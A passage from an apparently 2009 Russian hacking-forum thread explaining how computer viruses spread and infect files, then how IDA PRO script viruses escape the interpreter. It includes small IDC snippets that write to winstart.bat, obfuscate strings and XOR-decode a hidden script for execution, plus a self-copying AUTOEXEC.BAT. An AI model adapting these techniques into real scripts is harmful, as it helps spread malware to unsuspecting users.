нет этого листа&quot;. Проблема решена - &quot;перенаселения&quot; нет, но каждая стопка содержит<br />по копии вируса, при этом клерки еще успевают справляться и с обычной работой.</p> <p>&quot;А как же уничтожение данных?&quot; - спросит хорошо эрудированная домохозяйка. Все очень<br />просто - достаточно дописать на лист примерно следующее:<br />1. Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них<br />еще нет этого листа.<br />2. Посмотреть на календарь - если сегодня пятница, попавшая на 13-е число, выкинуть<br />все документы в мусорную корзину.</p> <p>Кстати, на примере клерка очень хорошо видно, почему в большинстве случаев нельзя<br />точно определить, откуда в компьютере появился вирус. Все клерки имеют одинаковые (с<br />точностью до почерка) КОПИИ, но оригинал-то с почерком злоумышленника уже давно в<br />корзине!</p> <p>Вот такое простое объяснение работы вируса. Плюс к нему хотелось бы привести две<br />аксиомы, которые, как это ни странно, не для всех являются очевидными:<br />Во-первых, вирусы не возникают сами собой - их создают программисты-хакеры и рассылают<br />затем по сети или подкидывают на компьютеры знакомых. Вирус не может сам собой<br />появиться на вашем компьютере - либо его подсунули на дискетах или даже на<br />компакт-диске, либо вы его случайно скачали из компьютерной сети, либо вирус жил у вас<br />в компьютере с самого начала.<br />Во-вторых: компьютерные вирусы заражают только компьютер и ничего больше, поэтому не<br />надо бояться - через клавиатуру и мышь они не передаются.</p> <p>Теперь попробуем дать более точное определение вируса. Основная трудность, возникающая<br />при попытках дать это определение, заключается в том, что практически все<br />отличительные черты вируса (внедрение в другие объекты, скрытность, потенциальная<br />опасность и проч.) либо присущи другим программам, которые никоим образом вирусами не<br />являются, либо же существуют вирусы, которые не содержат указанных выше отличительных<br />черт (за исключением возможности распространения).</p> <p>Например, если в качестве отличительной характеристики вируса принимается скрытность,<br />то легко привести пример вируса, не скрывающего своего распространения. Такой вирус<br />перед заражением любого файла выводит сообщение, гласящее, что в компьютере находится<br />вирус и этот вирус готов поразить очередной файл, затем выводит имя этого файла и<br />запрашивает разрешение пользователя на внедрение вируса в файл.</p> <p>Если в качестве отличительной черты вируса приводится возможность уничтожения им<br />программ и данных на дисках, то в качестве контрпримера к данной отличительной черте<br />можно привести десятки совершенно безобидных вирусов, которые кроме своего<br />распространения ничем больше не отличаются.</p> <p>Основная же особенность компьютерных вирусов - возможность их самопроизвольного<br />внедрения в различные объекты операционной системы - присуща многим программам,<br />которые не являются вирусами. Например, операционная система MS-DOS имеет в себе все<br />необходимое, чтобы самопроизвольно устанавливаться на не-DOS'овские диски. Для этого<br />достаточно на загрузочный флоппи-диск, содержащий DOS, записать файл AUTOEXEC.BAT<br />следующего содержания:<br />SYS A:<br />COPY *.* A:\<br />SYS B:<br />COPY *.* B:\<br />SYS C:<br />COPY *.* C:\</p> <p>Модифицированная таким образом DOS сама станет самым настоящим вирусом с точки зрения<br />практически любого существующего определения компьютерного вируса.</p> <p>Таким образом, первой из причин, не позволяющих дать точное определение вирусу,<br />является невозможность однозначно выделить отличительные признаки, которые<br />соответствовали бы только вирусам.</p> <p>Мнений по поводу даты рождения первого компьютерного вируса очень много. Доподлинно<br />известно только одно: на машине Беббиджа его не было, а на Univac 1108 и IBM-360/370<br />они уже были (&quot;Pervading Animal&quot; и &quot;Christmas tree&quot;). Таким образом, первый вирус<br />появился где-то в самом начале 70-х или даже в конце 60-х годов, хотя &quot;вирусом&quot; его<br />никто еще не называл.</p> <p>Поговорим о новейшей истории: &quot;Brain&quot;, &quot;Vienna&quot;, &quot;Cascade&quot; и далее. Те, кто начал<br />работать на IBM-PC аж в середине 80-х, еще не забыли повальную эпидемию этих вирусов в<br />1987-89 годах. Буквы сыпались на экранах, а толпы пользователей неслись к специалистам<br />по ремонту дисплеев (сейчас все наоборот: винчестер сдох от старости, а валят на<br />неизвестный передовой науке вирус). Затем компьютер заиграл чужеземный гимн &quot;Yankee<br />Doodle&quot;, но чинить динамики уже никто не бросился - очень быстро разобрались, что это<br />- вирус, да не один, а целый десяток.</p> <p>Так вирусы начали заражать файлы. Вирус &quot;Brain&quot; и скачущий по экрану шарик вируса<br />&quot;Ping-pong&quot; ознаменовали победу вируса и над Boot-сектором.</p> <p>Время шло, вирусы плодились. Все они были чем-то похожи друг на друга, лезли в память,<br />цеплялись к файлам и секторам, периодически убивали файлы, дискеты и винчестеры. Одним<br />из первых &quot;откровений&quot; стал вирус &quot;Frodo.4096&quot; - файловый вирус-невидимка (стелс).<br />Этот вирус перехватывал INT 21h и, при обращении через DOS к зараженным файлам,<br />изменял информацию таким образом, что файл появлялся перед пользователем в<br />незараженном виде. Но это была только надстройка вируса над MS-DOS. Не прошло и года,<br />как электронные тараканы полезли внутрь ядра DOS (вирус-невидимка &quot;Beast.512&quot;). Идея<br />невидимости продолжала приносить свой плоды и далее: летом 1991 года пронесся, кося<br />компьютеры как бубонная чума, вирус &quot;Dir_II&quot;.</p> <p>Но бороться с невидимками было довольно просто: почистил RAM - и будь спокоен, ищи<br />гада и лечи его на здоровье. Побольше хлопот доставляли самошифрующиеся вирусы,<br />которые иногда встречались в очередных поступлениях в коллекции. Ведь для их<br />идентификации и удаления приходилось писать специальные подпрограммы, отлаживать их.<br />Но на это никто тогда не обращал внимания, пока... Пока не появились вирусы нового<br />поколения, те, которые носят название полиморфик-вирусы. Эти вирусы используют другой<br />подход к невидимости: они шифруются (в большинстве случаев), а в расшифровщике<br />используют команды, которые могут не повторяться при заражении различных файлов.</p> <p>Первый полиморфный вирус появился в начале 90-х кодов - &quot;Chameleon&quot;, но по-настоящему<br />серьезной проблема полиморфик-вирусов стала лишь год спустя - в апреле 1991-го, когда<br />практически весь мир был охвачен эпидемией полиморфик-вируса &quot;Tequila&quot;.</p> <p>Год 1995-й, август. Все прогрессивное человечество, компания Microsoft и Билл Гейтс<br />лично празднуют выход новой операционной системы Windows95. На фоне шумного торжества<br />практически незамеченным прошло сообщение о появлении вируса, использующего<br />принципиально новые методы заражения - вируса, заражающего документы Microsoft Word.</p> <p>А вирус, получивший к тому времени имя &quot;Concept&quot;, продолжал победное движение по<br />планете. Появившись, скорее всего, в каком-то из подразделений Microsoft, &quot;Concept&quot; в<br />мгновение ока завладел тысячами (если не миллионами) компьютеров. Это неудивительно,<br />ведь передача текстов в формате MS Word стала де-факто одним из стандартов, а для<br />того, чтобы заразиться вирусом, требуется всего лишь открыть зараженный документ, и<br />все остальные документы, редактируемые в зараженном Word'e, также оказываются<br />зараженными. В результате, получив по Интернету зараженный файл и прочитав его,<br />пользователь, не зная того сам, оказывался &quot;разносчиком заразы&quot;, и вся его переписка<br />(если, конечно же, она велась при помощи MS Word) также оказывалась зараженной! Таким<br />образом, возможность заражения MS Word, помноженная на скорость Интернета, стала одной<br />из самых серьезных проблем за всю историю существования вирусов.</p> <p>Не прошло и года, как летом 1996-го года появился вирус &quot;Laroux&quot; (&quot;Лару&quot;), заражающий<br />таблицы MS Excel. Как и в случае с вирусом &quot;Concept&quot;, новый макро-вирус был обнаружен<br />&quot;в природе&quot; практически одновременно в разных фирмах. Кстати, в 1997 году этот вирус<br />стал причиной эпидемии в Москве.</p> <p>В том же 1996 году появились первые конструкторы макро-вирусов, а в начале 1997 года<br />появились первые полиморфик-макро-вирусы для MS-Word и первые вирусы для MS Office97.<br />Плюс к тому непрерывно росло число разнообразных макро-вирусов, достигшее нескольких<br />сотен к лету 1997-го.</p> <p>Так что же происходит, когда вирус попадает в машину?</p> <p>Так как вирус - программа, которую написал человек, то, естественно, как и все<br />программы, он имеет структуру, которая присуща и другим вирусам. Что главное для<br />вируса? Основным параметром вируса является размножение, если, конечно, его не писали<br />для определенных целей, типа добавить денег на счет &quot;писателя&quot; в каком-то банке.<br />Поэтому главный блок любого вируса - это блок размножения. Как же строится этот<br />&quot;главный&quot; блок вируса? Сколько разных идей было придумано программистами в этих целях?<br />В первых модификациях только &quot;заражали&quot; файлы .cом, .exe, .sys, т.е. те, которые<br />непосредственно содержали исполнимый код. Это понятно, но как искать эти файлы, ведь<br />на диске так много каталогов? Первые модели брали пути, которые они прописывают в<br />переменной PATH, и по ним искали &quot;новые жертвы&quot;. Более поздние обыскивали весь диск,<br />открывая по очередности все каталоги системы (очень долгий процесс, поэтому на<br />компьютерах того времени это занимало довольно большой отрезок времени и сразу было<br />видно - вирус). Позже стали делать &quot;резиденты-вирусы&quot;. Они &quot;вешались&quot; в памяти и<br />следили за тем, что делает ДОС. Как только ловили обращение системы к какому-то файлу<br />- мгновенно заражали этот файл-бедняжку. Вот так-то. С этим, вроде, решили (как найти<br />жертвы).</p> <p>Теперь непосpедственно о заpажении. Спеpва поговоpим о .com виpусах, т.е. заpажающих<br />.com файлы. Если вирус помещает свое тело в начале программы, его местоположение<br />всегда жестко закреплено, при запуске этой зараженной программы он выполняется первым,<br />при этом его легко &quot;поймать&quot;, притом после своей работы он должен возвращать ту часть<br />программы, на месте которой он расположился. Если тело вируса лежит в середине, то его<br />максимально трудно поймать и вылечить файл, так как необходимо вычислить, где именно<br />он находится, зато у вируса возникают проблемы - необходимо переносить после работы на<br />свое место блок, который был там до заражения. Еще один подводный камень для вируса,<br />передача ему управления. Ему необходимо где-то в начале сделать пеpеход на точку<br />выполнения, но вот только как делается такой пеpеход? Был придуман &quot;фиктивный&quot;<br />переход. Первый из них - это дописать в начале программы переход типа jmp addr, где<br />addr - точка запуска вируса, а после выполнения &quot;черных дел&quot; вирус вернет на место<br />этого jmp-а старый код, но при просмотре программ эту подмену можно легко заметить.<br />Поэтому сейчас применяют более изощренный метод. Дело в том, что команда jmp и call -<br />очень распространенные команды, и их использует практически любая программа. Поэтому<br />вирус ищет в начале программы код, соответствующий jmp addr или call addr и вместо<br />адреса в операнде подставляет свой, а после своего выполнения делает переход на старый<br />адрес. Увидеть подмену адреса - довольно сложный процесс. Если же тело вируса лежит в<br />конце, то у вируса возникают проблемы с запуском и возможностью легкого обнаружения,<br />но при этом нет необходимости переносить блоки, на месте которых находится вирус.</p> <p>Теперь немного о заражении .exe файлов. У них есть заголовок, в котором прописаны<br />очень важные данные, как-то: требуемый размер памяти, сегмент стека, и, что более<br />важно, точка запуска программы. Следовательно, эту точку можно поменять так, чтобы она<br />как раз попадала на вирус, который может располагаться опять-таки, в трех местах (об<br />этом говорилось выше). Теперь, казалось бы, берется метод заражения файла с допиской<br />тела вируса в конец, и меняется точка запуска на точку запуска вируса. Но при таком<br />расположение вируса его легко обнаружить (антивирусы ругают те программы, у которых<br />точка пуска лежит в конце, ибо это редкость). Еще один камушек для вируса -<br />существование у .exe файлов оверлеев, т.е. кусков кода, которые при запуске не<br />грузятся в память, а их по необходимости подгружают в последствии. Так, если вирус<br />цепляется в конце файла, то у него нет гарантии, что он будет находиться в памяти<br />после запуска. Для этого находится абсолютный конец, т.е. такой участок, где<br />заканчивается сама программа и начинаются оверлеи. Потом сюда вписывается вирус, а<br />оверлеи сдвигают на длину вируса. Другие методы с допиской вируса в начало или<br />середину тоже используются при написании .exe вирусов. Но они для запуска тела в коде<br />программы уже ищут не jmp addr и call adrr, а jmp far addr и call far addr, т.к. .exe<br />файлы нередко превышают длину одного сегмента. Не стоит забывать и о заражении boot и<br />master-boot секторов. Этот способ повел за собой целую цепочку бутовых вирусов. Дело в<br />том, что в boot-записи, которая, для незнающих, находится на диске, в 1 секторе, 0<br />головке, 0 цилиндре, записана программа, которая &quot;загружает&quot; ОС. Эта программа<br />пускается в самом начале работы, т.е. как только определено наличие жесткого диска.<br />Именно программа, записанная в этой записи, &quot;выкрикивает&quot; известное сообщение: Non<br />system disk or disk error!!!</p> <p>Так вот туда и помещают вирус, который получает управление еще до загрузки<br />операционной системы. Конечно, он не может использовать дисковых операций на уровне<br />DOS, но может, в крайнем случае, &quot;повесится&quot; резидентом в память. Следует заметить еще<br />одну интересную вещь. При заражении &quot;умные&quot; вирусы стараются заразить, прежде всего,<br />дискеты, т.к. эти дискеты могут перенести на другой компьютер и... тады ой.</p> <p>После блока заpажения идет втоpой уже &quot;необязательный&quot; блок - тот, котоpого боятся все<br />пользователи. Это блок действия. Именно этот блок является &quot;пpиятной неожиданностью&quot; в<br />pаботе виpуса. Обычно он запускается не сpазу. Только &quot;глупый&quot; виpус выдает свое<br />пpисутствие сpазу. Умный сначала pазмножится так, чтобы система была уже &quot;обpечена&quot;, и<br />узнает о существовании виpуса пользователь или нет - уже не имеет значения. Чаще всего<br />в теле виpуса имеется некий счетчик (Counter), в котоpом учитывается число &quot;успешных&quot;<br />заpажений. После того, как счетчик достигнет опpеделенного значения, идет запуск блока<br />действия. А в еще более изощpенных модификациях существуют 2 счетчика. Пеpвый тоже<br />содеpжит число заpаженных файлов, а втоpой - число заpаженных файлов на дискетах. И<br />только когда оба счетчика достигнут опpеделенного значения, запускается блок действия.<br />Зачем это делается? Да ведь если виpус, скажем, заpазит на жестском диске 1000 файлов<br />и отфоpматиpует его, то он сам себя и убьет. И не достигнет основной цели - выжить.<br />Именно содеpжимое блока действия создало такое pазнообpазие виpусов, что очень тpудно<br />пеpечислить все модификации, но основные виды можно попpобовать. Пеpвый тип -<br />безобидные демонстpатоpы. Они не делают ничего плохого, только мешают пользователю в<br />pаботе. Скажем, вдpуг на экpане появляется кpасный теннисный мячик и, отбиваясь от<br />символов, скачет по экpану. Или ни с того ни с сего начинают опадать буквы вниз (а-ля<br />листопад). Далее следует гpуппа так называемых пугающих виpусов. В пpинципе их можно<br />отнести к пеpвой гpуппе, но действие этих виpусов очень интеpесно. Они обычно очень<br />пpавдиво и популяpно pассказывают пользователю о том, что сейчас, к пpимеpу, его<br />жесткий диск будет отфоpматиpован. И потихоньку pисуют быстpо меняющийся индикатоp<br />пpоцентов очищенного пpостpанства. Hовичок-пользователь увидев это (скоpее всего),<br />потеpяет сознание или, что еще хуже, получит pазpыв сеpдца. Чаще всего, конечно, это<br />шутки, хотя не всегда. Следом идет не менее обшиpная гpуппа так называемых pазpушающих<br />виpусов. Их задачей, естественно, является pазpушение. Самое пpимитивное, что они<br />могут сделать, это отфоpматиpовать жестский диск, дискету или стереть BIOS. Hо пpи<br />этом виpус убьет и себя. Интеpеснее было бы сделать так, чтобы виpус показал свое<br />пpисутствие, но в то же вpемя пользователь не мог так пpосто от него избавиться.<br />Извpащенные умы нашли и здесь очень тонкий метод. Пpедставте себе каpтину: виpус<br />закодиpовал вам жестский диск. И только в том случае, если виpус запущен и находится в<br />памяти, DOS в состоянии пpочесть ту закодиpованную инфоpмацию. Таким обpазом,<br />пользователь пpосто обязан запускать виpус. Тем самым виpусописатель достиг высшей<br />стадии, когда уже виpус не должен искать лазейки для своего запуска, а сам<br />пользователь уже его запускает. Вот это метод! Или, скажем, считать FAT и скопиpовать<br />его в абсолютно дpугое место на диске, а на его месте написать всякую белибеpду. Опять<br />же без запуска виpуса у пользователя система не будет коppектно pаботать.</p> <p>Каждый день появляются новые вирусы, и это неизбежное зло. Стопроцентной гарантии от<br />заражения не даст никто. Хотя есть один способ. Забить во флоп чопик, сидюк<br />использовать только как подставку под кофе, сетевую карточку выбросить, а модем отдать<br />врагу, пусть мучается. Но это все уже для параноиков. Не так страшен черт, как его<br />малюют, особенно если про него знаешь.</p> <p>И напоследок небольшая памятка:<br />* виpус не может пеpедаться по воздуху или чеpез дpугую сpеду, его можно только<br />пpинести на дискете, скачать из Сети или загpузить с жесткого диска, запустив<br />заpаженный файл;<br />* если компьютеp стоит выключенный, то виpусы не могут ничего там испоpтить;<br />* если вы пpосто вставили дискету и не запустили с нее ни одного файла, а также не<br />стаpтовали с нее систему, то виpус с дискеты не попадет в компьютеp, т.е. вы<br />можете смело пpосматpивать содеpжимое дискет, не боясь заpажений;<br />* по сети нельзя пpосто так заpазиться виpусом. Можно только получить заpазный файл,<br />котоpый заpазит ваш компьютеp только после своего запуска;<br />* если наступила пятница 13, а вы вчеpа пpовеpяли компьтеp на наличие виpусов, то<br />смело запускайте компьютеp, это не такой уж знаменательный день. Виpус может<br />активизиpоватся и, напpимеp, 23 июля;<br />* не веpьте сплетням о том, что виpусы pазpушили у кого-то &quot;железо&quot; на компе. Все<br />это бpед, максимум, что возможно, так это отфоpматиpовать носитель, ну или стиреть<br />BIOS;<br />* и вообще, если вы будете пpовеpять антивиpусными сpедствами все пpиходящие файлы<br />(на дисках и/или по сети), и pаз в неделю пpовеpять весь компьютеp, то смело<br />можете не боятся виpусов;<br />* если уж виpус на вашем компе, то не отчаивайтесь, а запустите антивиpус;<br />* если антивиpус обнаpужил и излечил файлы на вашем компе от виpусов, а они вскоpе<br />опять появились, то подумайте, что вы успели поназапускать за пpошедшее от момента<br />тестиpования вpемя. Если вы pаспаковывали аpхив и запускали файлы из него, значит<br />навеpняка там виpус и сидит. Hе в файле-аpхиве, а в зааpхивиpованном в нем файле.<br />Hеобходимо pаспаковать аpхив, пpовеpить и снова запаковать;<br />* постоянно обновляйте антивирусные базы;<br />* если вы получили вирус по почте, не стоит писать в ответ гневное письмо - скорее<br />всего, отправитель сам стал жертвой, а вирус отослал себя сам, с его машины, найдя<br />ваш почтовый адрес в базе компьютера.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:50:21 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=29#p29 http://hackzona.youbb.ru/viewtopic.php?pid=28#p28 <p>По мотивам &quot;Рогов и Копыт&quot;, но с примерами вирусов для IDA PRO</p> <p>Первый пик массовой вирусной эпидемии пришелся на некогда популярный компьютер &quot;Эппл&quot;.<br />Наиболее излюбленным объектом атаки в то время оказался загрузочный сектор гибких<br />магнитных дисков.</p> <p>Очень скоро появилось множество простых утилит, которые проверяли целостность<br />содержимого загрузочного сектора при его запуске, а так же резидентов, которые просто<br />блокировали запись в оный до подтверждения пользователя.</p> <p>Впрочем, с массовым внедрением емких жестких дисков эта проблема и вовсе перестала<br />существовать. Но зато появилась другая. Один винчестер (уже не защищенный от записи)<br />хранил все исполняемые файлы пользователя и зловредной программе ничего не стоило<br />модифицировать (то есть инфицировать) их по своему желанию.</p> <p>Наиболее очевидным выходом из сложившейся ситуации стало использование операционных<br />систем с разграничением доступа, периодическая проверка CRC исполняемых файлов, а так<br />же создание резидентных программ блокирующим запись.</p> <p>Но исполняемые файлы в отличие от загрузочного сектора, могут активно модифицироваться<br />не только вирусом. Практически ни один ревизор не может работать на компьютере<br />программистов. То есть людей постоянно изменяющих множество исполняемых файлов<br />Впрочем, программисты по судьбе своей мученики и их мольбам долго никто не внимал.</p> <p>Сегодня наибольшее распространение получили макро-вирусы. Это укоренившиеся, хотя<br />неправильное название. На самом деле стоило бы их назвать скрипт-вирусами, поскольку<br />они написаны и функционируют на встроенном языке некоторого программного продукта<br />(скрипте).</p> <p>CorelDraw, PhotoShop, Quake II, Unreal вот далеко не полный перечень пакетов,<br />поддерживающих развитые интерпретируемые (реже компилируемые) языки. Все они<br />обеспечивают возможность функционирования и размножения вирусных и вредоносных<br />программ (закладок и троянцев)</p> <p>Вот тут-то антивирусная индустрия получила хороший щелчок. Она оказалась совсем не<br />готова к такому развитию событий. Все средства предупреждения заболевания оказались<br />бессильны. Ведь документ, создаваемый приложением, от записи и модификации не<br />запретишь. То есть запретить-то, конечно, можно, и технически реализовать элементарно,<br />но только любой пользователь отключит такую защиту - документ на то и документ, что бы<br />с ним работать, а не смотреть &quot;только на чтение&quot;.</p> <p>По той же причине все эти вирусы отлично функционируют и на NT и даже на UNIX и<br />Макинтош, поскольку операционной системой для них оказывается само приложение,<br />обрабатывающие скрипты.</p> <p>Любопытно, что вирусы для Quake и Unreal не детектируются абсолютно ничем. Ни AVP, ни<br />DrWeb о них ничего не знают. Впрочем, это простительно для разработчиков. Сегодня<br />практически каждый уважающий себя программный пакет поддерживает скриты или<br />макрокоманды. Даже при желании уследить за всеми происходящими событиями невозможно.<br />Совсем недавно, буквально в июле этого года появились первые вирусы и троянские<br />дополнения к профессиональному дизассемблеру IDA PRO. В этом не было бы ничего<br />удивительного, если бы средства языка обеспечивали бы поиск файлов для возможного<br />инфицирования. Таковых функций IDA PRO не поддерживала, а значит, и существование<br />вирусов (в традиционном понимании этого слова) было в ней невозможным.</p> <p>Поэтому заявления, что оные все же обнаружены, встретили большой скепсис среди<br />разработчиков антивирусного программного обеспечения. На сегодняшний день эти вирусы<br />не детектируются ничем. Между тем, большинство пиратских копий заражено и любители<br />нелицензионного программного обеспечения подвергают себя опасности. На самом деле все<br />вирусы подобного типа очень легко обнаруживаются простым визуальным просмотром<br />скрипта. Достаточно дать себе немного труда проанализировать алгоритм работы<br />последнего, ну и конечно, иметь представление на что обращать внимание в первую<br />очередь.</p> <p>Прежде всего все вирусы подобного типа можно разделить на две большие категории.<br />Первые манипулируют только документами приложения и остаются исключительно в рамках<br />виртуальной машины интерпретатора скрипта. Вторя же категория может выполнять команды<br />процессора и операционной системы, а значит, не только инфицировать или уничтожать<br />исполняемые файлы, но даже &quot;покрошить&quot; Ваш жесткий диск!</p> <p>Последние опаснее, а, значит, интереснее. Вот с их рассмотрения мы и начнем. Самый<br />простой способ вырваться из застенок виртуальной машины это воспользоваться файловым<br />вводом \ выводом. Допустим, можно записать любую пришедшую нам на ум команду MS-DOS в<br />файл C:\Windows\winstart.bat (ну или autoexec.bat) будучи уверенным, что рано или<br />поздно он будет исполнен.</p> <p>На языке IDA-Си это может выглядеть так.</p> <p>auto a;<br />a=fopen(&quot;C:\\WINDOWS\\winstart.bat&quot;,&quot;wb&quot;);<br />writestr(a,&quot;@ECHO Hello, Hard Disk \n&quot;);<br />fclose(a);</p> <p>подобные файловые операции поддерживают большинство языков. Обычно, впрочем, они не<br />используются программистами, поэтому их наличие в скрипте - повод для тщательного<br />изучения его алгоритма (благо большинство скриптов передаются в исходных текстах)</p> <p>Впрочем, некоторые интерпретаторы лишены из соображений политики безопасности<br />низкоуровневых операций с файлами. Но это разве преграда? Создаем документ с искомой<br />строкой и выполняем команду &quot;сохранить как_&quot; Поскольку все приложения позволяют<br />задавать расширения сохраняемых документов по желанию пользователя (или скрипта) то<br />такая схема оказывается очень живучей.</p> <p>Вслед за этими появились вирусы, которые использовали низкоуровневые файловые операции<br />для модификации исполняемых файлов. Действительно, что стоит загрузить жертву в<br />память, инфицировать любым возможным алгоритмом и записать вновь на диск?</p> <p>Таким образом вирус вырвется за пределы виртуальной машины и начтет гулять по диску.<br />Конечно, это окажется нежизнеспособно на Windows NT, при условии правильного подхода к<br />разграничению доступа к ресурсам, но для многих пользователей станет неожиданным<br />сюрпризом, ведь большинство из них полагает, что макро-вирусы существуют только в<br />Ворде и диск отформатировать вряд ли смогут. А отсюда и беспечность.</p> <p>Беспечность необъяснимая и неоправданная. Ведь большинство интерпретаторов<br />поддерживают команду &quot;Exec&quot; для запуска внешних приложений из скрипта. Злоумышленники<br />могут вызвать 'format.com' поэтому не помешает его запрятать подальше или даже вообще<br />исключить с дисков всех пользователей, через чьи руки проходят сомнительные скрипты и<br />документы.</p> <p>Необходимо отметить, что реализация exec часто сводится к вызову win32 API функции<br />CreateProcess, другими словами расширение файла не играет никакой роли. MyDocument.doc<br />вполне может быть запущен, не смотря на &quot;неисполняемое&quot; расширение. Следовательно,<br />вирус может создавать внешне легальный файл документа, чем и маскировать свое<br />присутствие.</p> <p>Впрочем, все эти &quot;махинации&quot; могут быть обнаружены простым сканированием скрипта на<br />предмет ключевых слов &quot;exec, fopen&quot; и других. Поэтому следующим этапом эволюции было<br />создание шифируюшихся вирусов. На первый взгляд это нереально. Как может<br />расшифровываться интерпретируемый скрипт если он совершенно не имеет представления о<br />физической памяти, в которую он загружен.</p> <p>Действительно, это так. Поэтому в первые представители этого класса всего лишь<br />шифровали свои данные, текстовые строки с именами файлов-жертв. Впрочем, расшифровки<br />сразу бросались в глаза при анализе или даже простом просмотре текстов скриптов. Что<br />бы это скрыть стали генерировать текстовые строки на основе запутанных функций.<br />Внимания к себе они не привлекали и рассчитывали на то, что мало кто будет прибегать к<br />тщательному анализу всего файла.</p> <p>auto a,b,c,d;<br />a=&quot;ida.&quot;;<br />b=0xCA;<br />c=b/2;<br />b=b&gt;&gt;1;<br />d=b + (b&gt;&gt;5) | (1&lt;&lt;4);<br />a=a+c+d+b;<br />Message(&quot;%s \n&quot;,a);</p> <p>В приведенном примере результат всех этих математических вычислений наперед далеко не<br />очевиден и не может быть спрогнозирован никаким эвристическим анализатором. Разве<br />только, что разработчики отважатся реализовать полный эмулятор интерпретируемого<br />языка. Но пока такая задача не представляется реальной, ввиду множества существующих и<br />ни с чем ни совместимых скрипт-языков.</p> <p>Однако, ключевые команды типа &quot;exec&quot; оставались в открытом виде и обнаруживались<br />тривиальным сканированием файла. Поэтому вирусописатели предприняли попытку скрыть их<br />от посторонних глаз. IDA PRO, как и большинство других интерпретаторов имела<br />возможность загрузки скриптов с диска. Это дало возможность создать временный файл, в<br />который записать расшифрованное тело вируса, и затем передать ему управление.</p> <p>Что бы Вы думали делает приведенная ниже программа?</p> <p>static main()<br />{<br />auto a,b,temp,s0;<br />b=0;<br />s0=&quot;0x040x030x160x030x1E0x140x570x1A0x160x1E0x19<br />0x5F0x5E0x570x0C0x3A0x120x040x040x160x100x12<br />0x5F0x550x3F0x120x1B0x1B0x180x5B0x570x3e0x33<br />0x360x560x570x2B0x190x550x5E0x4C0x0A0x7A0x7D 0x00\n&quot;;<br />a=fopen(&quot;temp.idc&quot;,&quot;wb&quot;);<br />while(1)<br />{<br />temp=substr(s0,b,b+4);<br />b=b+4;<br />temp=xtol(temp);<br />if (temp==0) break;<br />temp=temp ^ 0x77;<br />fputc(temp,a);<br />}<br />fclose(b);<br />Compile(&quot;temp.idc&quot;);<br />}</p> <p>Да, действительно, она иллюстрирует классический пример шифрованных вирусов. Для<br />упрощения данный пример использует &quot;вирусоопасный&quot; вызов &quot;fopen&quot;, но нетрудно оформить<br />его как сохранение документа или генерацию отчета.</p> <p>Вызов &quot;Compile&quot; к сожалению не может считаться характерным для вирусов, поскольку он<br />очень часто употребляется мирными программами для подзагрузки своих модулей. Ведь<br />редко кто пишет сколь ни будь серьезные скрипты в одном файле. Поэтому в целом такие<br />вирусы выглядят на внешний вид безвинно.</p> <p>Сейчас в Сети много таких дополнений к IDA, даже появились классические &quot;Универсальный<br />Кракер&quot; и &quot;Кракер Интернета PRO&quot;. Впрочем, последний это все же действительно<br />предоставляет бесплатный доступ в Интернет, а не форматирует жесткий диск. Он<br />дозванивается до провайдера по указанному номеру, активно мигая лампочками модема,<br />после чего сообщает, что якобы утащен зашифрованный файл паролей и в подтверждение<br />этого выплевывает нечитабельный текст на экран. Далее сообщается, что расшифровать это<br />может автор скрипта, всего за 1$, а до 1 сентября в рамках рекламной компании и вовсе<br />бесплатно - достаточно только отослать ему это по следующему адресу. И пользователь<br />сам того не подозревая, отправляет не зашифрованный файл паролей провайдера, а свой<br />логин и пароль, &quot;поксоренный&quot; и дополненный мусором, что бы не бросаться в глаза.</p> <p>Попадаются даже творения выполненные по &quot;стелс&quot; технологии. Вирус перехватывает<br />событие &quot;OnOpen&quot; и &quot;OnLoad&quot; и вручную загружает файл таким образом, что бы он выглядел<br />в незараженном виде. Поэтому просматривать скрпты на предмет поиска вирусов можно<br />только средствами, гарантирующими достоверность отображения и невозможность внедрения<br />постороннего кода.</p> <p>Обычно это &quot;блокнот&quot; или другой простейший редактор. Это справедливо для IDA PRO, но<br />часто оказывается невозможным для тех приложений, которые скрипты хранят в собственном<br />формате вместе с документом. В таком случае просмотр внешними средствами оказывается<br />невозможным.</p> <p>Вслед за &quot;стелс&quot; были написаны и полиморфные вирусы. Для IDA PRO на сегодняшний момент<br />известно два из них и оба функционируют по одному и тому же принципу. Это обычный<br />шифрованный вирус с множеством расшифровщиков. Причем сам алгоритм генерируется<br />&quot;налету&quot;. Они в настоящий момент не определяются ни одним антивирусом. Впрочем, к<br />чести их авторов к скриптам приложен подробный файл описания, что эта программа делает<br />и перед каждым заражением запрашивается подтверждение пользователя. Но что стоит,<br />удалив всего одну строку, получить &quot;полноценный&quot; современный вирус, которым потом<br />можно заразить множество ничего не подозревающих пользователей, недоумевающих почему<br />разработчики антивирусного обеспечения будучи информированными об этой проблеме<br />продолжают ее спокойно игнорировать, вероятно, полагая, что IDA PRO не настолько<br />распространенный продукт, что бы тратить человеко-часы на анализ и включение в базу<br />этих &quot;насекомых&quot;?</p> <p>Между тем 8 из 10 известных мне источников IDA PRO заражены теми или иными вирусами.<br />Кстати, никак не проявляющими себя, но написанными достаточно некорректно, что бы<br />приводить к нестабильной работе, сбоям и зависаниям дизассемблера. Не так редки вирусы<br />и под &quot;Visual Studio&quot;, попадающие на компакт-диски, но это уже другая история.</p> <p>Их проявления и возможности ничем не ограничены, ведь как было показано выше,<br />практически из любой виртуальной машины можно вырваться и передать управление<br />процессора на свой код.</p> <p>Однако, прием создать файл, а затем его запустить все же несерьезен и на системах с<br />правильно организованной системой разграничения доступа просто не работоспособен.<br />Существуют ли другие пути? Да, существуют. Многие интерпретаторы имеют &quot;лазейки&quot; -<br />недокументированные функции, позволяющие делать то, что мягко выражаясь ни в коем<br />случае не положено.</p> <p>Например, IDA PRO имеет функции _peek и _poke, читающие и записывающие физическую<br />память компьютера. Следовательно, можно передать управление на свой код! Однако, для<br />этого его сперва нужно скопировать в память, и не на первое попавшиеся место, а<br />обязательно в свободный регион, иначе система рискует повиснуть вместе с вирусом, что<br />будет сигнализировать о ненормальности ситуации (стоит ли говорить, что большинство<br />опытных пользователей присутствие вирусов на своем компьютере замечает именно по<br />конфликтам).</p> <p>В MS-DOS свободному региону соответствует нулевое значение хозяина блока в заголовке<br />MCB. Но что бы проскандировать всю цепочку необходимо узнать адрес первого блока. Но<br />кто его скажет вирусу? Однако, существуют способы узнать это самостоятельно и ниже<br />будет показан один из них.</p> <p>Но как теперь передать управление процессору на наш код? Это головоломная на первый<br />взгляд задача имеет множество решений и одно из них заключается в модификации<br 